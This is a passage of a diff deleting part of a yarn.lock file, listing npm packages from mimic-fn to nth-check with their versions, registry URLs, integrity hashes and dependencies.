-  integrity sha512-tqkh47FzKeCPD2PUiPB6pkbMzsCasjxAfC62/Wap5qrUWcb+sFasXUC5I3gYM5iBM8v/Qpn4UK0x+j0iHyFPDg==
-
-mimic-fn@^1.0.0:
-  version "1.2.0"
-  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-1.2.0.tgz#820c86a39334640e99516928bd03fca88057d022"
-  integrity sha512-jf84uxzwiuiIVKiOLpfYk7N46TSy8ubTonmneY9vrpHNAnp0QBt2BxWV9dO3/j+BoVAb+a5G6YDPW3M5HOdMWQ==
-
-mimic-fn@^2.1.0:
-  version "2.1.0"
-  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
-  integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
-
-min-document@^2.19.0:
-  version "2.19.0"
-  resolved "https://registry.yarnpkg.com/min-document/-/min-document-2.19.0.tgz#7bd282e3f5842ed295bb748cdd9f1ffa2c824685"
-  integrity sha1-e9KC4/WELtKVu3SM3Z8f+iyCRoU=
-  dependencies:
-    dom-walk "^0.1.0"
-
-min-indent@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/min-indent/-/min-indent-1.0.1.tgz#a63f681673b30571fbe8bc25686ae746eefa9869"
-  integrity sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==
-
-mini-create-react-context@^0.4.0:
-  version "0.4.1"
-  resolved "https://registry.yarnpkg.com/mini-create-react-context/-/mini-create-react-context-0.4.1.tgz#072171561bfdc922da08a60c2197a497cc2d1d5e"
-  integrity sha512-YWCYEmd5CQeHGSAKrYvXgmzzkrvssZcuuQDDeqkT+PziKGMgE+0MCCtcKbROzocGBG1meBLl2FotlRwf4gAzbQ==
-  dependencies:
-    "@babel/runtime" "^7.12.1"
-    tiny-warning "^1.0.3"
-
-mini-css-extract-plugin@0.9.0:
-  version "0.9.0"
-  resolved "https://registry.yarnpkg.com/mini-css-extract-plugin/-/mini-css-extract-plugin-0.9.0.tgz#47f2cf07aa165ab35733b1fc97d4c46c0564339e"
-  integrity sha512-lp3GeY7ygcgAmVIcRPBVhIkf8Us7FZjA+ILpal44qLdSu11wmjKQ3d9k15lfD7pO4esu9eUIAW7qiYIBppv40A==
-  dependencies:
-    loader-utils "^1.1.0"
-    normalize-url "1.9.1"
-    schema-utils "^1.0.0"
-    webpack-sources "^1.1.0"
-
-minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7"
-  integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==
-
-minimalistic-crypto-utils@^1.0.0, minimalistic-crypto-utils@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a"
-  integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo=
-
-minimatch@3.0.4, minimatch@^3.0.0, minimatch@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
-  integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
-  dependencies:
-    brace-expansion "^1.1.7"
-
-minimist@1.2.3:
-  version "1.2.3"
-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.3.tgz#3db5c0765545ab8637be71f333a104a965a9ca3f"
-  integrity sha512-+bMdgqjMN/Z77a6NlY/I3U5LlRDbnmaAk6lDveAPKwSpcPM4tKAuYsvYF8xjhOPXhOYGe/73vVLVez5PW+jqhw==
-
-minimist@1.2.5, minimist@^1.1.1, minimist@^1.2.0, minimist@^1.2.5:
-  version "1.2.5"
-  resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602"
-  integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==
-
-minipass-collect@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/minipass-collect/-/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617"
-  integrity sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==
-  dependencies:
-    minipass "^3.0.0"
-
-minipass-flush@^1.0.5:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/minipass-flush/-/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373"
-  integrity sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==
-  dependencies:
-    minipass "^3.0.0"
-
-minipass-pipeline@^1.2.2:
-  version "1.2.4"
-  resolved "https://registry.yarnpkg.com/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c"
-  integrity sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==
-  dependencies:
-    minipass "^3.0.0"
-
-minipass@^3.0.0, minipass@^3.1.1:
-  version "3.1.3"
-  resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.1.3.tgz#7d42ff1f39635482e15f9cdb53184deebd5815fd"
-  integrity sha512-Mgd2GdMVzY+x3IJ+oHnVM+KG3lA5c8tnabyJKmHSaG2kAGpudxuOf8ToDkhumF7UzME7DecbQE9uOZhNm7PuJg==
-  dependencies:
-    yallist "^4.0.0"
-
-mississippi@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/mississippi/-/mississippi-3.0.0.tgz#ea0a3291f97e0b5e8776b363d5f0a12d94c67022"
-  integrity sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA==
-  dependencies:
-    concat-stream "^1.5.0"
-    duplexify "^3.4.2"
-    end-of-stream "^1.1.0"
-    flush-write-stream "^1.0.0"
-    from2 "^2.1.0"
-    parallel-transform "^1.1.0"
-    pump "^3.0.0"
-    pumpify "^1.3.3"
-    stream-each "^1.1.0"
-    through2 "^2.0.0"
-
-mixin-deep@^1.2.0:
-  version "1.3.2"
-  resolved "https://registry.yarnpkg.com/mixin-deep/-/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566"
-  integrity sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==
-  dependencies:
-    for-in "^1.0.2"
-    is-extendable "^1.0.1"
-
-mixin-object@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/mixin-object/-/mixin-object-2.0.1.tgz#4fb949441dab182540f1fe035ba60e1947a5e57e"
-  integrity sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=
-  dependencies:
-    for-in "^0.1.3"
-    is-extendable "^0.1.1"
-
-"mkdirp@>=0.5 0", mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@^0.5.5, mkdirp@~0.5.1:
-  version "0.5.5"
-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def"
-  integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==
-  dependencies:
-    minimist "^1.2.5"
-
-moment@^2.24.0, moment@^2.25.3:
-  version "2.29.1"
-  resolved "https://registry.yarnpkg.com/moment/-/moment-2.29.1.tgz#b2be769fa31940be9eeea6469c075e35006fa3d3"
-  integrity sha512-kHmoybcPV8Sqy59DwNDY3Jefr64lK/by/da0ViFcuA4DH0vQg5Q6Ze5VimxkfQNSC+Mls/Kx53s7TjP1RhFEDQ==
-
-moniker@0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/moniker/-/moniker-0.1.2.tgz#872dfba575dcea8fa04a5135b13d5f24beccc97e"
-  integrity sha1-hy37pXXc6o+gSlE1sT1fJL7MyX4=
-
-move-concurrently@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/move-concurrently/-/move-concurrently-1.0.1.tgz#be2c005fda32e0b29af1f05d7c4b33214c701f92"
-  integrity sha1-viwAX9oy4LKa8fBdfEszIUxwH5I=
-  dependencies:
-    aproba "^1.1.1"
-    copy-concurrently "^1.0.0"
-    fs-write-stream-atomic "^1.0.8"
-    mkdirp "^0.5.1"
-    rimraf "^2.5.4"
-    run-queue "^1.0.3"
-
-ms@2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8"
-  integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g=
-
-ms@2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a"
-  integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg==
-
-ms@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009"
-  integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==
-
-ms@^2.1.1:
-  version "2.1.3"
-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
-  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
-
-multiaddr-to-uri@^5.1.0:
-  version "5.1.0"
-  resolved "https://registry.yarnpkg.com/multiaddr-to-uri/-/multiaddr-to-uri-5.1.0.tgz#879b55e4170db37cf05e1bce5831de70084933b9"
-  integrity sha512-rIlMLkw3yk3RJmf2hxYYzeqPXz4Vx7C4M/hg7BVWhmksDW0rDVNMEyoVb0H1A+sh3deHOh5EAFK87XcW+mFimA==
-  dependencies:
-    multiaddr "^7.2.1"
-
-multiaddr@^7.2.1, multiaddr@^7.4.3:
-  version "7.5.0"
-  resolved "https://registry.yarnpkg.com/multiaddr/-/multiaddr-7.5.0.tgz#976c88e256e512263445ab03b3b68c003d5f485e"
-  integrity sha512-GvhHsIGDULh06jyb6ev+VfREH9evJCFIRnh3jUt9iEZ6XDbyoisZRFEI9bMvK/AiR6y66y6P+eoBw9mBYMhMvw==
-  dependencies:
-    buffer "^5.5.0"
-    cids "~0.8.0"
-    class-is "^1.1.0"
-    is-ip "^3.1.0"
-    multibase "^0.7.0"
-    varint "^5.0.0"
-
-multibase@^0.7.0:
-  version "0.7.0"
-  resolved "https://registry.yarnpkg.com/multibase/-/multibase-0.7.0.tgz#1adfc1c50abe05eefeb5091ac0c2728d6b84581b"
-  integrity sha512-TW8q03O0f6PNFTQDvh3xxH03c8CjGaaYrjkl9UQPG6rz53TQzzxJVCIWVjzcbN/Q5Y53Zd0IBQBMVktVgNx4Fg==
-  dependencies:
-    base-x "^3.0.8"
-    buffer "^5.5.0"
-
-multibase@^1.0.0, multibase@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/multibase/-/multibase-1.0.1.tgz#4adbe1de0be8a1ab0274328b653c3f1903476724"
-  integrity sha512-KcCxpBVY8fdVKu4dJMAahq4F/2Z/9xqEjIiR7PiMe7LRGeorFn2NLmicN6nLBCqQvft6MG2Lc9X5P0IdyvnxEw==
-  dependencies:
-    base-x "^3.0.8"
-    buffer "^5.5.0"
-
-multicast-dns-service-types@^1.1.0:
-  version "1.1.0"
-  resolved "https://registry.yarnpkg.com/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz#899f11d9686e5e05cb91b35d5f0e63b773cfc901"
-  integrity sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=
-
-multicast-dns@^6.0.1:
-  version "6.2.3"
-  resolved "https://registry.yarnpkg.com/multicast-dns/-/multicast-dns-6.2.3.tgz#a0ec7bd9055c4282f790c3c82f4e28db3b31b229"
-  integrity sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g==
-  dependencies:
-    dns-packet "^1.3.1"
-    thunky "^1.0.2"
-
-multicodec@^1.0.0, multicodec@^1.0.1:
-  version "1.0.4"
-  resolved "https://registry.yarnpkg.com/multicodec/-/multicodec-1.0.4.tgz#46ac064657c40380c28367c90304d8ed175a714f"
-  integrity sha512-NDd7FeS3QamVtbgfvu5h7fd1IlbaC4EQ0/pgU4zqE2vdHCmBGsUa0TiM8/TdSeG6BMPC92OOCf8F1ocE/Wkrrg==
-  dependencies:
-    buffer "^5.6.0"
-    varint "^5.0.0"
-
-multihashes@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/multihashes/-/multihashes-1.0.1.tgz#a89415d68283cf6287c6e219e304e75ce7fb73fe"
-  integrity sha512-S27Tepg4i8atNiFaU5ZOm3+gl3KQlUanLs/jWcBxQHFttgq+5x1OgbQmf2d8axJ/48zYGBd/wT9d723USMFduw==
-  dependencies:
-    buffer "^5.6.0"
-    multibase "^1.0.1"
-    varint "^5.0.0"
-
-multihashing-async@~0.8.0, multihashing-async@~0.8.1:
-  version "0.8.2"
-  resolved "https://registry.yarnpkg.com/multihashing-async/-/multihashing-async-0.8.2.tgz#3d5da05df27d83be923f6d04143a0954ff87f27f"
-  integrity sha512-2lKa1autuCy8x7KIEj9aVNbAb3aIMRFYIwN7mq/zD4pxgNIVgGlm+f6GKY4880EOF2Y3GktHYssRy7TAJQ2DyQ==
-  dependencies:
-    blakejs "^1.1.0"
-    buffer "^5.4.3"
-    err-code "^2.0.0"
-    js-sha3 "^0.8.0"
-    multihashes "^1.0.1"
-    murmurhash3js-revisited "^3.0.0"
-
-murmurhash3js-revisited@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/murmurhash3js-revisited/-/murmurhash3js-revisited-3.0.0.tgz#6bd36e25de8f73394222adc6e41fa3fac08a5869"
-  integrity sha512-/sF3ee6zvScXMb1XFJ8gDsSnY+X8PbOyjIuBhtgis10W2Jx4ZjIhikUCIF9c4gpJxVnQIsPAFrSwTCuAjicP6g==
-
-mute-stdout@^1.0.0:
-  version "1.0.1"
-  resolved "https://registry.yarnpkg.com/mute-stdout/-/mute-stdout-1.0.1.tgz#acb0300eb4de23a7ddeec014e3e96044b3472331"
-  integrity sha512-kDcwXR4PS7caBpuRYYBUz9iVixUk3anO3f5OYFiIPwK/20vCzKCHyKoulbiDY1S53zD2bxUpxN/IJ+TnXjfvxg==
-
-mute-stream@0.0.7:
-  version "0.0.7"
-  resolved "https://registry.yarnpkg.com/mute-stream/-/mute-stream-0.0.7.tgz#3075ce93bc21b8fab43e1bc4da7e8115ed1e7bab"
-  integrity sha1-MHXOk7whuPq0PhvE2n6BFe0ee6s=
-
-mute-stream@0.0.8, mute-stream@~0.0.4:
-  version "0.0.8"
-  resolved "https://registry.yarnpkg.com/mute-stream/-/mute-stream-0.0.8.tgz#1630c42b2251ff81e2a283de96a5497ea92e5e0d"
-  integrity sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==
-
-nan@^2.12.1:
-  version "2.14.2"
-  resolved "https://registry.yarnpkg.com/nan/-/nan-2.14.2.tgz#f5376400695168f4cc694ac9393d0c9585eeea19"
-  integrity sha512-M2ufzIiINKCuDfBSAUr1vWQ+vuVcA9kqx8JJUsbQi6yf1uGRyb7HfpdfUr5qLXf3B/t8dPvcjhKMmlfnP47EzQ==
-
-nanoid@^3.0.2, nanoid@^3.1.23, nanoid@^3.1.3:
-  version "3.1.23"
-  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.23.tgz#f744086ce7c2bc47ee0a8472574d5c78e4183a81"
-  integrity sha512-FiB0kzdP0FFVGDKlRLEQ1BgDzU87dy5NnzjeW9YZNt+/c3+q82EQDUwniSAUxp/F0gFNI1ZhKU1FqYsMuqZVnw==
-
-nanomatch@^1.2.9:
-  version "1.2.13"
-  resolved "https://registry.yarnpkg.com/nanomatch/-/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119"
-  integrity sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==
-  dependencies:
-    arr-diff "^4.0.0"
-    array-unique "^0.3.2"
-    define-property "^2.0.2"
-    extend-shallow "^3.0.2"
-    fragment-cache "^0.2.1"
-    is-windows "^1.0.2"
-    kind-of "^6.0.2"
-    object.pick "^1.3.0"
-    regex-not "^1.0.0"
-    snapdragon "^0.8.1"
-    to-regex "^3.0.1"
-
-native-request@^1.0.5:
-  version "1.0.8"
-  resolved "https://registry.yarnpkg.com/native-request/-/native-request-1.0.8.tgz#8f66bf606e0f7ea27c0e5995eb2f5d03e33ae6fb"
-  integrity sha512-vU2JojJVelUGp6jRcLwToPoWGxSx23z/0iX+I77J3Ht17rf2INGjrhOoQnjVo60nQd8wVsgzKkPfRXBiVdD2ag==
-
-natural-compare@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
-  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
-
-negotiator@0.6.2:
-  version "0.6.2"
-  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb"
-  integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw==
-
-neo-async@^2.5.0, neo-async@^2.6.1:
-  version "2.6.2"
-  resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f"
-  integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==
-
-netrc@0.1.4:
-  version "0.1.4"
-  resolved "https://registry.yarnpkg.com/netrc/-/netrc-0.1.4.tgz#6be94fcaca8d77ade0a9670dc460914c94472444"
-  integrity sha1-a+lPysqNd63gqWcNxGCRTJRHJEQ=
-
-next-tick@~1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/next-tick/-/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c"
-  integrity sha1-yobR/ogoFpsBICCOPchCS524NCw=
-
-nice-try@^1.0.4:
-  version "1.0.5"
-  resolved "https://registry.yarnpkg.com/nice-try/-/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
-  integrity sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==
-
-no-case@^3.0.4:
-  version "3.0.4"
-  resolved "https://registry.yarnpkg.com/no-case/-/no-case-3.0.4.tgz#d361fd5c9800f558551a8369fc0dcd4662b6124d"
-  integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==
-  dependencies:
-    lower-case "^2.0.2"
-    tslib "^2.0.3"
-
-node-addon-api@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/node-addon-api/-/node-addon-api-2.0.2.tgz#432cfa82962ce494b132e9d72a15b29f71ff5d32"
-  integrity sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==
-
-node-fetch@2.1.2:
-  version "2.1.2"
-  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.1.2.tgz#ab884e8e7e57e38a944753cec706f788d1768bb5"
-  integrity sha1-q4hOjn5X44qUR1POxwb3iNF2i7U=
-
-node-fetch@2.6.1, node-fetch@^2.6.0, node-fetch@^2.6.1:
-  version "2.6.1"
-  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-2.6.1.tgz#045bd323631f76ed2e2b55573394416b639a0052"
-  integrity sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==
-
-node-fetch@~1.7.1:
-  version "1.7.3"
-  resolved "https://registry.yarnpkg.com/node-fetch/-/node-fetch-1.7.3.tgz#980f6f72d85211a5347c6b2bc18c5b84c3eb47ef"
-  integrity sha512-NhZ4CsKx7cYm2vSrBAr2PvFOe6sWDf0UYLRqA6svUYg7+/TSfVAu49jYC4BvQ4Sms9SZgdqGBgroqfDhJdTyKQ==
-  dependencies:
-    encoding "^0.1.11"
-    is-stream "^1.0.1"
-
-node-forge@^0.10.0:
-  version "0.10.0"
-  resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-0.10.0.tgz#32dea2afb3e9926f02ee5ce8794902691a676bf3"
-  integrity sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==
-
-node-gyp-build@^4.2.0:
-  version "4.2.3"
-  resolved "https://registry.yarnpkg.com/node-gyp-build/-/node-gyp-build-4.2.3.tgz#ce6277f853835f718829efb47db20f3e4d9c4739"
-  integrity sha512-MN6ZpzmfNCRM+3t57PTJHgHyw/h4OWnZ6mR8P5j/uZtqQr46RRuDE/P+g3n0YR/AiYXeWixZZzaip77gdICfRg==
-
-node-int64@^0.4.0:
-  version "0.4.0"
-  resolved "https://registry.yarnpkg.com/node-int64/-/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b"
-  integrity sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs=
-
-node-libs-browser@^2.2.1:
-  version "2.2.1"
-  resolved "https://registry.yarnpkg.com/node-libs-browser/-/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425"
-  integrity sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q==
-  dependencies:
-    assert "^1.1.1"
-    browserify-zlib "^0.2.0"
-    buffer "^4.3.0"
-    console-browserify "^1.1.0"
-    constants-browserify "^1.0.0"
-    crypto-browserify "^3.11.0"
-    domain-browser "^1.1.1"
-    events "^3.0.0"
-    https-browserify "^1.0.0"
-    os-browserify "^0.3.0"
-    path-browserify "0.0.1"
-    process "^0.11.10"
-    punycode "^1.2.4"
-    querystring-es3 "^0.2.0"
-    readable-stream "^2.3.3"
-    stream-browserify "^2.0.1"
-    stream-http "^2.7.2"
-    string_decoder "^1.0.0"
-    timers-browserify "^2.0.4"
-    tty-browserify "0.0.0"
-    url "^0.11.0"
-    util "^0.11.0"
-    vm-browserify "^1.0.1"
-
-node-modules-regexp@^1.0.0:
-  version "1.0.0"
-  resolved "https://registry.yarnpkg.com/node-modules-regexp/-/node-modules-regexp-1.0.0.tgz#8d9dbe28964a4ac5712e9131642107c71e90ec40"
-  integrity sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA=
-
-node-notifier@^5.4.2:
-  version "5.4.5"
-  resolved "https://registry.yarnpkg.com/node-notifier/-/node-notifier-5.4.5.tgz#0cbc1a2b0f658493b4025775a13ad938e96091ef"
-  integrity sha512-tVbHs7DyTLtzOiN78izLA85zRqB9NvEXkAf014Vx3jtSvn/xBl6bR8ZYifj+dFcFrKI21huSQgJZ6ZtL3B4HfQ==
-  dependencies:
-    growly "^1.3.0"
-    is-wsl "^1.1.0"
-    semver "^5.5.0"
-    shellwords "^0.1.1"
-    which "^1.3.0"
-
-node-releases@^1.1.52, node-releases@^1.1.71:
-  version "1.1.73"
-  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.73.tgz#dd4e81ddd5277ff846b80b52bb40c49edf7a7b20"
-  integrity sha512-uW7fodD6pyW2FZNZnp/Z3hvWKeEW1Y8R1+1CnErE8cXFXzl5blBOoVB41CvMer6P6Q0S5FXDwcHgFd1Wj0U9zg==
-
-node-watch@^0.7.1:
-  version "0.7.1"
-  resolved "https://registry.yarnpkg.com/node-watch/-/node-watch-0.7.1.tgz#0caaa6a6833b0d533487f953c52a6c787769ba7c"
-  integrity sha512-UWblPYuZYrkCQCW5PxAwYSxaELNBLUckrTBBk8xr1/bUgyOkYYTsUcV4e3ytcazFEOyiRyiUrsG37pu6I0I05g==
-
-normalize-package-data@^2.3.2:
-  version "2.5.0"
-  resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8"
-  integrity sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==
-  dependencies:
-    hosted-git-info "^2.1.4"
-    resolve "^1.10.0"
-    semver "2 || 3 || 4 || 5"
-    validate-npm-package-license "^3.0.1"
-
-normalize-path@^2.1.1:
-  version "2.1.1"
-  resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9"
-  integrity sha1-GrKLVW4Zg2Oowab35vogE3/mrtk=
-  dependencies:
-    remove-trailing-separator "^1.0.1"
-
-normalize-path@^3.0.0, normalize-path@~3.0.0:
-  version "3.0.0"
-  resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65"
-  integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==
-
-normalize-range@^0.1.2:
-  version "0.1.2"
-  resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
-  integrity sha1-LRDAa9/TEuqXd2laTShDlFa3WUI=
-
-normalize-url@1.9.1:
-  version "1.9.1"
-  resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-1.9.1.tgz#2cc0d66b31ea23036458436e3620d85954c66c3c"
-  integrity sha1-LMDWazHqIwNkWENuNiDYWVTGbDw=
-  dependencies:
-    object-assign "^4.0.1"
-    prepend-http "^1.0.0"
-    query-string "^4.1.0"
-    sort-keys "^1.0.0"
-
-normalize-url@^3.0.0:
-  version "3.3.0"
-  resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-3.3.0.tgz#b2e1c4dc4f7c6d57743df733a4f5978d18650559"
-  integrity sha512-U+JJi7duF1o+u2pynbp2zXDW2/PADgC30f0GsHZtRh+HOcXHnw137TrNlyxxRvWW5fjKd3bcLHPxofWuCjaeZg==
-
-now-and-later@^2.0.0:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/now-and-later/-/now-and-later-2.0.1.tgz#8e579c8685764a7cc02cb680380e94f43ccb1f7c"
-  integrity sha512-KGvQ0cB70AQfg107Xvs/Fbu+dGmZoTRJp2TaPwcwQm3/7PteUyN2BCgk8KBMPGBUXZdVwyWS8fDCGFygBm19UQ==
-  dependencies:
-    once "^1.3.2"
-
-npm-run-path@^2.0.0:
-  version "2.0.2"
-  resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f"
-  integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8=
-  dependencies:
-    path-key "^2.0.0"
-
-nth-check@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c"
